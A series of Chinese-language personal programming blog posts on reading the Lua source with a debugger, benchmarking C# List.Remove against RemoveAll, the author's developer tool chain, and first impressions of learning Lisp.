跟广为流传的MikePaul推荐的Reading Order不同的是,我觉得还是一上来就F5靠谱的多。默念函数名也是读F10也是读,running code总是比plain code更生动易懂(还有一种可能是我水平太low,大神都是可以直接通读脑中构建running state的上下文的)。当然,所谓“F5读代码大法”,并不是直接在main的第一行打上一个断点以后就不停的F10F11就行了。而是要在了解源代码大体结构(下一篇具体来写)的基础上:

  1. 确定一个feature
  2. 根据初读代码和猜测(怎么猜?靠函数名和变量名呗),在大致的位置打上断点
  3. 构造Lua代码
  4. 观察程序是不是会跑到这个断点
  5. 验证feature,整理整个流程

For example: 我想研究Lua的GC,看文章,大致Scan代码,发现GC是分好几个步骤的比如GCSsweepstringGCSsweep,那么当垃圾不包含string的时候,在一次GC里还会执行GCSsweepstring这个步骤吗?

构造lua代码如下:

local foo = {}
for i=1,1000 do
	foo[i/10] = { a = i, b = i+1 }
end

断点当然是打在lgc.c的这个位置:

	case GCSsweepstring: {
		lu_mem old = g->totalbytes;
		sweepwholelist(L, &g->strt.hash[g->sweepstrgc++]);

然后,F5走起。到断点了么?Callstack是什么样的?LuaState相关的field都是怎样的?解答自己的疑惑,再不停发问,继续解答。如此递归,就离这道大餐上桌的时间不远了。

一些PS:

  • VS中的Compile as C Code或者Command Argument怎么设置,google一下就知道
  • 宏没法打断点,实在搞不懂里面的实现就只能手动inline了,记得ctrl+z回来就好,虽然不改回来也没什么大问题
  • 接上一条,大胆的改代码做实验写注释,弄坏重新下一份源代码就好
END

Reading Lua (0)

跟去年的Learning Lisp遥相呼应,作为今年自我KPI完成的总结文来写,这次逼格高点,第一次在Blog写个series。

计划的Content Table如下:

  1. 准备工作
  2. 代码结构
  3. Lua有AST么
  4. 此VM非彼VM
  5. GC
  6. TODO

还有一些泛泛的感悟,放在这一篇抒发比较合适:

Lua的源代码写的太DIAO了!Lua的源代码写的太DIAO了!Lua的源代码写的太DIAO了!重要的事情说三遍。跟原来读了好多次都没读下去的Ruby源代码不一样,一共就50+的文件和20000W左右注释详细结构清晰的CodeBase,给人心里压力小太多了。虽然语言的复杂程度不是一个量级的,但麻雀虽小五脏俱全,Lua作为一门完美实现了设计初衷的语言,代码肯定是同样值得一读的。
Lua的实现没有任何依赖,而是用的是纯的Ansi-C!终于不用在Mac上make了,终于在Windows上也能out-of-the-box的跑起来了,对我们这种Windows低端程序员来说——太!开!心!了!
指针对我们这种低端程序员来说还是好难,虽然终究能看懂,但是花时间略久。Macro虽然写的很花哨,但我会手动inline,所以也还好。

END

Remove Vs RemoveAll

有个feature需要比较高频率的从集合中移除一部分元素,稍微脑洞了一下,感觉用for-loop+Remove应该比RemoveAll要快(可能是RemoveAll的example里用了lambda,影响了判断)。

BUT,test dont lie,写了个测试试了下:

var list = new List<int>();
for (int i = 0; i < 1000; i++)
{
    list.Add(i % 3);
}

var iter = 1000;

Profile("Remove", iter, () => 
{
    var l = list.ToList();

    for (int i = l.Count - 1; i > -1; i--)
    {
        if (l[i] == 0)
        {
            l.RemoveAt(i);
        }
    }
});

Profile("Remove All", iter, () => 
{
    var l = list.ToList();

    l.RemoveAll(item => item == 0);
});

结果RemoveAll效率要比Remove高好几倍,找了源代码扫了一下:RemoveAllO(n)且只有一次Array.ClearRemoveAt却每次都要Array.Copy(压缩空隙的操作),结果显而易见。严格来说,我是在Unity做的测试,但读的是.Net的源代码,好像有点不严谨

So,Once More:Test dont lie,Code dont lie。

END

My Tool Chain

timediff(now, lastpost).month > 6

这半年其实收获良多,各种language和各种runtime加上各种platform玩来玩去,想写的能写的值得一写也挺多,不急,慢慢来,记着就好。

念念不忘,必有回响。再拖拉我还是会写

这篇的主题是ToolChain——也可以叫——当我重装Windows/Mac时我弄些什么。

Alfred/Launchy

Alfred已经太有名了,无需多言。在windows上我能找到的(用过的)最好的替代品就是Launchy了。
实话实说,win7点了win键以后输入程序名相对xp来说已经有了很大提升了,但比起launchy这种专业的软件来说还是差了一大截。
特别是可以自定义程序搜索路径和记住最近打开的程序(e.g:我现在alt+space | c就是conemu,alt+space | ch就是chrome,alt+space | u就是unity)这两个feature,真心好用。
关于这种全局快捷键app的必要性,上古大神Alan Kay(可能记错)就说过:newbie用鼠标,frequent user用快键盘+鼠标,pro只用键盘。不用鼠标带来的效率逼格可以详询*nix over Windows党。
最后再说一个Launchy的好:donate只要2$,对比起sublime的70$(我觉得sublime也很好,但是没有好到35倍 || 如果我的工资发的不是¥而是$我就买),就是买买买啊。

Chrome

也算做过一段时间的web开发,各种浏览器出于工作也好个人喜好也罢,都用过一圈了,最后还是觉得Chrome最顺手(这类软件没有什么最好,只有最顺手)。
好像原来的原来还写过firefox plugin的post,插件这玩意也就是锦上添花,firefox现在跟Chrome比已经算不上了。
具体的有多就不表了,现在必须的只有手势这一朵了(还是稍微一提:Chrome的帐号系统确实好用,至少不用像以前的firefox一样每次重装都折腾一次插件了)。

VisualStudio/Sublime

Visual Studio出了community版本以后,Windows上最强的IDE基本就没任何争议了,随着MS越来越拥抱开源,其在社区里的口碑也越来越好了,现在我黑MS的欲望都越来越弱了。
Sublime作为Mac/Windows上都通用的Editor,对于我们这类小白开发(大神的Vi/Emacs都是比VS还厉害难用的多呢),着实是比其他文本编辑器好用了一大截。
这两个共同的优点就是1.feature多 2.插件多 3.GUI功能也很好用。诚然用鼠标的效率比不上用键盘,但鼠标悬停显示各种变量怎么也比用printpp让人愉快很多吧。

Python/Ruby/Github

Python和Ruby优先级高于其他运行时(Mac预装了)的原因在于很多小工具都是基于这两个runtime的,其他lua lisp node什么的就看心情了。关于ruby gem有个小tips:

gem sources --remove https://rubygems.org/    
gem sources -a https://ruby.taobao.org/    
gem sources -l

必须要赞一下taobao,在国内的开源界确实比其他公司走的要早要远。
Github for Windows这个GUI我觉得比tortoise还要好用,for Mac就更不用说了,Mac能战的SVN GUI根本就没有。

ConEnu

在Windows下——支持tab页+自定义font+支持ctrlc+ctrlv+最大化窗口的命令行工具——就我用过的——只此一家,所以没得选了。

What’s More

TODO

END

Learning Lisp

(MEMBER `TRY `(DO DO-NOT))

QQ签名从["do","do not"].include? "try"改成了上面的,眼看今年给自己的KPI——learning a language every year完成在即,心情大好。感觉自己编程功力又上升了一个小段位,下半年剩下的时间好好啃下SICP (看亚马逊评论说中文翻译的不太好,看来又只有原版走起了),争取能给自己打个S。

Lisp,逼格最高的编程语言之一(比他逼格更高的没人出来炫耀,比他逼格低的那就太多了)。在没TRY过之前,我觉得我肯定也是DO-NOT了。好好看了下,发现对我们这些C语系出身的程序员来说,Lisp真心可以算的上是mind-blowing了。极简的规则(上面那个quote已经包含了Lisp语法中所有最基本的元素了),一切都是list,而一切又都是执行(evaluating)。道生一,这似乎在哲学上更容易生出万物,也更有道法自然的感觉。

对lisp理解还停留在感性层面,道的出的牛逼也只有上面这些了。

Talk is cheap, show me the code。我懂,这个repo里有四个版本(Lisp Javascript Ruby C#)的代码,都只在干一件事情——计算一个多层嵌套的数组的和。先只贴Lisp的版本出来:

(DEFVAR *L* `(1 2 3 (1 (2 3))))

(DEFUN SUM-ALL (LIST)
       (COND ((ENDP LIST) 0)
             ((NUMBERP (FIRST LIST))
              		(+ (FIRST LIST) (SUM-ALL (REST LIST))))
             (T (+ (SUM-ALL (FIRST LIST)) (SUM-ALL (REST LIST))))))

(SUM-ALL *L*)

这段简单的递归能很好的体现出Lisp的表现力。平心而论,对于C#这种不支持异构数组的强类型语言来说,这对比似乎不怎么公平,因为C#版本里很大部分篇幅都用来构造数组了。而且递归这种东西好像本来就是从Lisp来的,写递归函数不就是在扬长避短么。对于你们这种怀疑我专门用特别的实例厚此薄彼的行为,我只想说,泥垢了

再次总结一下,现阶段Lisp于我来说炫酷得没朋友的特性就两点:极简的定义&&自顶向下的表现力。

PS1:入门看的是德国某大学的Common Lisp的在线教程,整个课程的设计简直是良心,还有statistic:

learn_lisp_statistic

PS2:Lisp的方言选择也是装逼活门艺术,以后就用Scheme了。我又不需要practical(我的武器库很牛逼,不要惹我),Common Lisp对我来说就太大了点。

SICP我来了。

END